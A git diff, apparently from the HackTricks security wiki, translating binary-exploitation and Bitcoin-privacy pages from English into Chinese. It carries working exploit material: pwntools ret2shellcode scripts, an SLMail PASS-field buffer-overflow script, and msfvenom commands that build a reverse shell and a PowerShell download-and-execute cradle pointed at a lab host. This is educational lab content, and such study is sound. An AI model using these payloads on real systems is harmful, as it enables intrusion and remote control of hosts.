- ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
- add sp, sp, 16
- ret
- ```
+```armasm
+ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
+add sp, sp, 16
+ret
+```
> [!CAUTION]
-> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it.
+> 在 ARM64 中执行类似于堆栈 pivoting 的方法是能够 **控制 `SP`**(通过控制某个寄存器,其值传递给 `SP`,或者因为某种原因 `SP` 从堆栈获取其地址并且我们有一个溢出),然后 **利用尾声** 从 **受控的 `SP`** 加载 **`x30`** 寄存器并 **返回** 到它。
-Also in the following page you can see the equivalent of **Ret2esp in ARM64**:
+在以下页面中,你还可以看到 **Ret2esp 在 ARM64 中的等效物**:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md
index 187c832b7..5152ffd01 100644
--- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md
+++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md
@@ -2,49 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**.
+**Stack shellcode** 是一种用于 **binary exploitation** 的技术,攻击者将 shellcode 写入易受攻击程序的栈中,然后修改 **Instruction Pointer (IP)** 或 **Extended Instruction Pointer (EIP)** 以指向该 shellcode 的位置,从而导致其执行。这是一种经典的方法,用于获得未授权访问或在目标系统上执行任意命令。以下是该过程的分解,包括一个简单的 C 示例以及如何使用 Python 和 **pwntools** 编写相应的利用代码。
-### C Example: A Vulnerable Program
-
-Let's start with a simple example of a vulnerable C program:
+### C 示例:一个易受攻击的程序
+让我们从一个简单的易受攻击的 C 程序示例开始:
```c
#include
#include
void vulnerable_function() {
- char buffer[64];
- gets(buffer); // Unsafe function that does not check for buffer overflow
+char buffer[64];
+gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
- vulnerable_function();
- printf("Returned safely\n");
- return 0;
+vulnerable_function();
+printf("Returned safely\n");
+return 0;
}
```
+该程序由于使用了 `gets()` 函数而容易受到缓冲区溢出攻击。
-This program is vulnerable to a buffer overflow due to the use of the `gets()` function.
-
-### Compilation
-
-To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command:
+### 编译
+要在禁用各种保护的情况下编译此程序(以模拟易受攻击的环境),您可以使用以下命令:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
+- `-fno-stack-protector`: 禁用栈保护。
+- `-z execstack`: 使栈可执行,这对于执行存储在栈上的shellcode是必要的。
+- `-no-pie`: 禁用位置无关可执行文件,使预测我们的shellcode将位于的内存地址更容易。
+- `-m32`: 将程序编译为32位可执行文件,通常在漏洞开发中为了简化而使用。
-- `-fno-stack-protector`: Disables stack protection.
-- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack.
-- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located.
-- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development.
-
-### Python Exploit using Pwntools
-
-Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack:
+### 使用Pwntools的Python漏洞利用
+以下是如何使用**pwntools**在Python中编写一个**ret2shellcode**攻击的漏洞利用:
```python
from pwn import *
@@ -71,27 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
+该脚本构造了一个有效负载,由**NOP滑块**、**shellcode**组成,然后用指向NOP滑块的地址覆盖**EIP**,确保shellcode被执行。
-This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
+**NOP滑块**(`asm('nop')`)用于增加执行“滑入”我们的shellcode的机会,而不管确切的地址是什么。调整`p32()`参数为缓冲区的起始地址加上一个偏移量,以便落入NOP滑块。
-The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
+## 保护措施
-## Protections
+- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **应该被禁用**,以确保地址在执行之间是可靠的,否则存储函数的地址不会总是相同,您需要一些泄漏以确定win函数加载的位置。
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) 也应该被禁用,否则被破坏的EIP返回地址将永远不会被跟随。
+- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **栈**保护将阻止在栈内执行shellcode,因为该区域将不可执行。
-- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
-- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable.
-
-## Other Examples & References
+## 其他示例与参考
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- - 64bit, ASLR with stack address leak, write shellcode and jump to it
+- 64位,ASLR与栈地址泄漏,写入shellcode并跳转到它
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- - 32 bit, ASLR with stack leak, write shellcode and jump to it
+- 32位,ASLR与栈泄漏,写入shellcode并跳转到它
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- - 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it
+- 32位,ASLR与栈泄漏,比较以防止调用exit(),用一个值覆盖变量并写入shellcode并跳转到它
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
+- arm64,无ASLR,ROP小工具使栈可执行并跳转到栈中的shellcode
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
index 3ad3e61ac..ec8995a50 100644
--- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
+++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
@@ -2,47 +2,40 @@
{{#include ../../../banners/hacktricks-training.md}}
-Find an introduction to arm64 in:
+在以下内容中找到关于 arm64 的介绍:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Code
-
+## 代码
```c
#include
#include
void vulnerable_function() {
- char buffer[64];
- read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
+char buffer[64];
+read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
- vulnerable_function();
- return 0;
+vulnerable_function();
+return 0;
}
```
-
-Compile without pie, canary and nx:
-
+在没有 pie、canary 和 nx 的情况下编译:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
-
## No ASLR & No canary - Stack Overflow
-To stop ASLR execute:
-
+要停止 ASLR,请执行:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
+要获取[**bof的偏移量,请查看此链接**](../ret2win/ret2win-arm64.md#finding-the-offset)。
-To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset).
-
-Exploit:
-
+利用:
```python
from pwn import *
@@ -73,9 +66,8 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
+这里唯一“复杂”的事情是找到调用的栈地址。在我的情况下,我使用 gdb 找到的地址生成了漏洞利用,但在利用时它没有工作(因为栈地址稍微改变了)。
-The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).
-
-I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
+我打开了生成的 **`core` 文件**(`gdb ./bog ./core`)并检查了 shellcode 开始的真实地址。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/stack-overflow/uninitialized-variables.md b/src/binary-exploitation/stack-overflow/uninitialized-variables.md
index 6cde48bee..4d1e29f35 100644
--- a/src/binary-exploitation/stack-overflow/uninitialized-variables.md
+++ b/src/binary-exploitation/stack-overflow/uninitialized-variables.md
@@ -1,68 +1,66 @@
-# Uninitialized Variables
+# 未初始化变量
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example:
+这里的核心思想是理解**未初始化变量的行为,因为它们将具有分配给它们的内存中已经存在的值。** 示例:
-- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it.
-- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location.
+- **函数 1: `initializeVariable`**: 我们声明一个变量 `x` 并赋值,例如 `0x1234`。这个操作类似于在内存中保留一个位置并放入一个特定的值。
+- **函数 2: `useUninitializedVariable`**: 在这里,我们声明另一个变量 `y`,但没有给它赋值。在 C 语言中,未初始化的变量不会自动设置为零。相反,它们保留最后存储在其内存位置的值。
-When we run these two functions **sequentially**:
+当我们**顺序**运行这两个函数时:
-1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address.
-2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there.
+1. 在 `initializeVariable` 中,`x` 被赋值(`0x1234`),占用了一个特定的内存地址。
+2. 在 `useUninitializedVariable` 中,`y` 被声明但未赋值,因此它占据了紧接在 `x` 后面的内存位置。由于没有初始化 `y`,它最终“继承”了来自 `x` 使用的相同内存位置的值,因为那是最后一个在那里存在的值。
-This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may unintentionally hold sensitive data left in memory.
+这种行为说明了低级编程中的一个关键概念:**内存管理至关重要**,未初始化的变量可能导致不可预测的行为或安全漏洞,因为它们可能无意中保存了留在内存中的敏感数据。
-Uninitialized stack variables could pose several security risks like:
+未初始化的栈变量可能带来几种安全风险,例如:
-- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data.
-- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits.
-- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes.
-- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats.
-
-### Example
+- **数据泄露**: 如果敏感信息如密码、加密密钥或个人详细信息存储在未初始化的变量中,可能会被暴露,允许攻击者潜在地读取这些数据。
+- **信息泄露**: 未初始化变量的内容可能揭示程序的内存布局或内部操作的细节,帮助攻击者开发针对性的利用。
+- **崩溃和不稳定性**: 涉及未初始化变量的操作可能导致未定义的行为,从而导致程序崩溃或不可预测的结果。
+- **任意代码执行**: 在某些情况下,攻击者可能利用这些漏洞来改变程序的执行流程,使他们能够执行任意代码,这可能包括远程代码执行威胁。
+### 示例
```c
#include
// Function to initialize and print a variable
void initializeAndPrint() {
- int initializedVar = 100; // Initialize the variable
- printf("Initialized Variable:\n");
- printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
+int initializedVar = 100; // Initialize the variable
+printf("Initialized Variable:\n");
+printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
}
// Function to demonstrate the behavior of an uninitialized variable
void demonstrateUninitializedVar() {
- int uninitializedVar; // Declare but do not initialize
- printf("Uninitialized Variable:\n");
- printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
+int uninitializedVar; // Declare but do not initialize
+printf("Uninitialized Variable:\n");
+printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
}
int main() {
- printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
+printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
- // First, call the function that initializes its variable
- initializeAndPrint();
+// First, call the function that initializes its variable
+initializeAndPrint();
- // Then, call the function that has an uninitialized variable
- demonstrateUninitializedVar();
+// Then, call the function that has an uninitialized variable
+demonstrateUninitializedVar();
- return 0;
+return 0;
}
```
+#### 这个是如何工作的:
-#### How This Works:
+- **`initializeAndPrint` 函数**:这个函数声明了一个整数变量 `initializedVar`,将其赋值为 `100`,然后打印该变量的内存地址和值。这个步骤很简单,展示了一个已初始化变量的行为。
+- **`demonstrateUninitializedVar` 函数**:在这个函数中,我们声明了一个整数变量 `uninitializedVar`,但没有对其进行初始化。当我们尝试打印它的值时,输出可能会显示一个随机数。这个数字代表了之前在该内存位置的数据。根据环境和编译器的不同,实际输出可能会有所不同,有时为了安全起见,一些编译器可能会自动将变量初始化为零,但这不应被依赖。
+- **`main` 函数**:`main` 函数按顺序调用上述两个函数,展示了已初始化变量和未初始化变量之间的对比。
-- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves.
-- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon.
-- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one.
+## ARM64 示例
-## ARM64 Example
-
-This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown.
+在 ARM64 中这完全没有变化,因为局部变量也在栈中管理,你可以 [**查看这个例子**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) 来了解这一点。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md b/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md
index fb6f62862..7978d796c 100644
--- a/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md
+++ b/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md
@@ -2,20 +2,17 @@
{{#include ../banners/hacktricks-training.md}}
-## **Start installing the SLMail service**
+## **开始安装 SLMail 服务**
-## Restart SLMail service
-
-Every time you need to **restart the service SLMail** you can do it using the windows console:
+## 重启 SLMail 服务
+每次你需要 **重启 SLMail 服务** 时,可以使用 Windows 控制台来完成:
```
net start slmail
```
-
.png>)
-## Very basic python exploit template
-
+## 非常基础的 Python 利用模板
```python
#!/usr/bin/python
@@ -27,99 +24,89 @@ port = 110
buffer = 'A' * 2700
try:
- print "\nLaunching exploit..."
- s.connect((ip, port))
- data = s.recv(1024)
- s.send('USER username' +'\r\n')
- data = s.recv(1024)
- s.send('PASS ' + buffer + '\r\n')
- print "\nFinished!."
+print "\nLaunching exploit..."
+s.connect((ip, port))
+data = s.recv(1024)
+s.send('USER username' +'\r\n')
+data = s.recv(1024)
+s.send('PASS ' + buffer + '\r\n')
+print "\nFinished!."
except:
- print "Could not connect to "+ip+":"+port
+print "Could not connect to "+ip+":"+port
```
+## **更改 Immunity Debugger 字体**
-## **Change Immunity Debugger Font**
+前往 `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
-Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
-
-## **Attach the proces to Immunity Debugger:**
+## **将进程附加到 Immunity Debugger:**
**File --> Attach**
.png>)
-**And press START button**
+**然后按下 START 按钮**
-## **Send the exploit and check if EIP is affected:**
+## **发送漏洞利用并检查 EIP 是否受到影响:**
.png>)
-Every time you break the service you should restart it as is indicated in the beginnig of this page.
+每次你中断服务时,都应该重新启动它,如本页开头所示。
-## Create a pattern to modify the EIP
+## 创建一个模式以修改 EIP
-The pattern should be as big as the buffer you used to broke the service previously.
+该模式应与您之前用于中断服务的缓冲区大小相同。
.png>)
-
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
+更改漏洞的缓冲区并设置模式,然后启动漏洞。
-Change the buffer of the exploit and set the pattern and lauch the exploit.
-
-A new crash should appeard, but with a different EIP address:
+应该出现一个新的崩溃,但具有不同的 EIP 地址:
.png>)
-Check if the address was in your pattern:
+检查该地址是否在您的模式中:
.png>)
-
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
+看起来**我们可以在缓冲区的偏移量 2606 修改 EIP**。
-Looks like **we can modify the EIP in offset 2606** of the buffer.
-
-Check it modifing the buffer of the exploit:
-
+检查一下修改漏洞的缓冲区:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
-
-With this buffer the EIP crashed should point to 42424242 ("BBBB")
+使用这个缓冲区,EIP 崩溃应该指向 42424242 ("BBBB")
.png>)
.png>)
-Looks like it is working.
+看起来它正在工作。
-## Check for Shellcode space inside the stack
+## 检查堆栈中的 Shellcode 空间
-600B should be enough for any powerfull shellcode.
-
-Lets change the bufer:
+600B 应该足够用于任何强大的 shellcode。
+让我们更改缓冲区:
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
-
-launch the new exploit and check the EBP and the length of the usefull shellcode
+启动新的漏洞利用并检查 EBP 和有效 shellcode 的长度
.png>)
.png>)
-You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here.
+你可以看到,当漏洞被触发时,EBP 指向 shellcode,并且我们有很多空间在这里放置 shellcode。
-In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough.
+在这种情况下,我们有 **从 0x0209A128 到 0x0209A2D6 = 430B。** 足够。
-## Check for bad chars
-
-Change again the buffer:
+## 检查坏字符
+再次更改缓冲区:
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
@@ -141,30 +128,27 @@ badchars = (
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
+坏字符从 0x01 开始,因为 0x00 几乎总是坏的。
-The badchars starts in 0x01 because 0x00 is almost always bad.
+重复执行利用这个新缓冲区,删除被发现无用的字符:
-Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:.
+例如:
-For example:
-
-In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09).
+在这种情况下,你可以看到 **你不应该使用字符 0x0A**(由于字符 0x09,内存中没有保存任何内容)。
.png>)
-In this case you can see that **the char 0x0D is avoided**:
+在这种情况下,你可以看到 **字符 0x0D 被避免**:
.png>)
-## Find a JMP ESP as a return address
-
-Using:
+## 找到 JMP ESP 作为返回地址
+使用:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
-
-You will **list the memory maps**. Search for some DLl that has:
+您将**列出内存映射**。搜索一些具有以下特征的 DLL:
- **Rebase: False**
- **SafeSEH: False**
@@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has:
.png>)
-Now, inside this memory you should find some JMP ESP bytes, to do that execute:
-
+现在,在此内存中,您应该找到一些 JMP ESP 字节,要做到这一点,请执行:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
-
-**Then, if some address is found, choose one that don't contain any badchar:**
+**然后,如果找到某个地址,选择一个不包含任何坏字符的地址:**
.png>)
-**In this case, for example: \_0x5f4a358f**\_
-
-## Create shellcode
+**在这种情况下,例如:\_0x5f4a358f**\_
+## 创建 shellcode
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
+如果漏洞没有按预期工作(你可以通过 ImDebg 看到 shellcode 已经到达),尝试创建其他 shellcode(使用 msfvenom 为相同参数创建不同的 shellcode)。
-If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters).
-
-**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit:
-
+**在 shellcode 开头添加一些 NOPS**,并使用它和返回地址来 JMP ESP,完成漏洞利用:
```bash
#!/usr/bin/python
@@ -236,26 +215,23 @@ shellcode = (
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
- print "\nLaunching exploit..."
- s.connect((ip, port))
- data = s.recv(1024)
- s.send('USER username' +'\r\n')
- data = s.recv(1024)
- s.send('PASS ' + buffer + '\r\n')
- print "\nFinished!."
+print "\nLaunching exploit..."
+s.connect((ip, port))
+data = s.recv(1024)
+s.send('USER username' +'\r\n')
+data = s.recv(1024)
+s.send('PASS ' + buffer + '\r\n')
+print "\nFinished!."
except:
- print "Could not connect to "+ip+":"+port
+print "Could not connect to "+ip+":"+port
```
-
> [!WARNING]
-> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode
+> 有些 shellcode 会 **自我覆盖**,因此在 shellcode 之前始终添加一些 NOP 是很重要的。
-## Improving the shellcode
-
-Add this parameters:
+## 改进 shellcode
+添加以下参数:
```bash
EXITFUNC=thread -e x86/shikata_ga_nai
```
-
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/blockchain/blockchain-and-crypto-currencies/README.md b/src/blockchain/blockchain-and-crypto-currencies/README.md
index c897d0035..1e4e895af 100644
--- a/src/blockchain/blockchain-and-crypto-currencies/README.md
+++ b/src/blockchain/blockchain-and-crypto-currencies/README.md
@@ -1,180 +1,176 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Concepts
+## 基本概念
-- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
-- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
-- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
- - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
-- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
-- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
+- **智能合约** 被定义为在区块链上执行的程序,当满足特定条件时,自动化协议执行,无需中介。
+- **去中心化应用(dApps)** 基于智能合约,具有用户友好的前端和透明、可审计的后端。
+- **代币与币** 的区别在于,币作为数字货币,而代币在特定上下文中代表价值或所有权。
+- **实用代币** 授予对服务的访问权限,而 **安全代币** 表示资产所有权。
+- **DeFi** 代表去中心化金融,提供无中央权威的金融服务。
+- **DEX** 和 **DAO** 分别指去中心化交易平台和去中心化自治组织。
-## Consensus Mechanisms
+## 共识机制
-Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
+共识机制确保区块链上安全和一致的交易验证:
-- **Proof of Work (PoW)** relies on computational power for transaction verification.
-- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
+- **工作量证明(PoW)** 依赖计算能力进行交易验证。
+- **权益证明(PoS)** 要求验证者持有一定数量的代币,相比于PoW减少能耗。
-## Bitcoin Essentials
+## 比特币基础知识
-### Transactions
+### 交易
-Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
+比特币交易涉及在地址之间转移资金。交易通过数字签名进行验证,确保只有私钥的所有者可以发起转账。
-#### Key Components:
+#### 关键组成部分:
-- **Multisignature Transactions** require multiple signatures to authorize a transaction.
-- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
+- **多重签名交易** 需要多个签名来授权交易。
+- 交易由 **输入**(资金来源)、**输出**(目的地)、**费用**(支付给矿工)和 **脚本**(交易规则)组成。
-### Lightning Network
+### 闪电网络
-Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
+旨在通过允许在一个通道内进行多笔交易来增强比特币的可扩展性,仅将最终状态广播到区块链。
-## Bitcoin Privacy Concerns
+## 比特币隐私问题
-Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
+隐私攻击,如 **共同输入所有权** 和 **UTXO找零地址检测**,利用交易模式。策略如 **混合器** 和 **CoinJoin** 通过模糊用户之间的交易链接来提高匿名性。
-## Acquiring Bitcoins Anonymously
+## 匿名获取比特币
-Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
+方法包括现金交易、挖矿和使用混合器。**CoinJoin** 混合多笔交易以复杂化可追溯性,而 **PayJoin** 将CoinJoins伪装成常规交易以提高隐私。
-# Bitcoin Privacy Atacks
+# 比特币隐私攻击
-# Summary of Bitcoin Privacy Attacks
+# 比特币隐私攻击总结
-In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
+在比特币的世界中,交易的隐私和用户的匿名性常常是关注的主题。以下是攻击者可能通过几种常见方法破坏比特币隐私的简化概述。
-## **Common Input Ownership Assumption**
+## **共同输入所有权假设**
-It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
+由于涉及的复杂性,来自不同用户的输入在单笔交易中组合的情况通常很少。因此,**同一交易中的两个输入地址通常被假定属于同一所有者**。
-## **UTXO Change Address Detection**
+## **UTXO找零地址检测**
-A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
+UTXO,或 **未花费交易输出**,必须在交易中完全花费。如果只有一部分发送到另一个地址,剩余部分将转到新的找零地址。观察者可以假设这个新地址属于发送者,从而损害隐私。
-### Example
+### 示例
-To mitigate this, mixing services or using multiple addresses can help obscure ownership.
+为了解决这个问题,混合服务或使用多个地址可以帮助模糊所有权。
-## **Social Networks & Forums Exposure**
+## **社交网络与论坛曝光**
-Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
+用户有时在网上分享他们的比特币地址,使得 **很容易将地址与其所有者关联**。
-## **Transaction Graph Analysis**
+## **交易图分析**
-Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
+交易可以被可视化为图形,揭示基于资金流动的用户之间的潜在连接。
-## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
+## **不必要输入启发式(最优找零启发式)**
-This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
-
-### Example
+该启发式基于分析具有多个输入和输出的交易,以猜测哪个输出是返回给发送者的找零。
+### 示例
```bash
2 btc --> 4 btc
3 btc 1 btc
```
+如果添加更多输入使得变化输出大于任何单一输入,它可能会混淆启发式分析。
-If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
+## **强制地址重用**
-## **Forced Address Reuse**
+攻击者可能会向之前使用过的地址发送少量资金,希望收款人将这些资金与未来交易中的其他输入结合,从而将地址链接在一起。
-Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
+### 正确的钱包行为
-### Correct Wallet Behavior
+钱包应避免使用在已经使用过的空地址上收到的币,以防止这种隐私泄露。
-Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
+## **其他区块链分析技术**
-## **Other Blockchain Analysis Techniques**
+- **确切的支付金额:** 没有找零的交易很可能是在两个由同一用户拥有的地址之间进行的。
+- **整数金额:** 交易中的整数金额表明这是一次支付,而非整数输出很可能是找零。
+- **钱包指纹识别:** 不同的钱包具有独特的交易创建模式,允许分析师识别所使用的软件以及可能的找零地址。
+- **金额与时间相关性:** 公开交易时间或金额可能使交易可追踪。
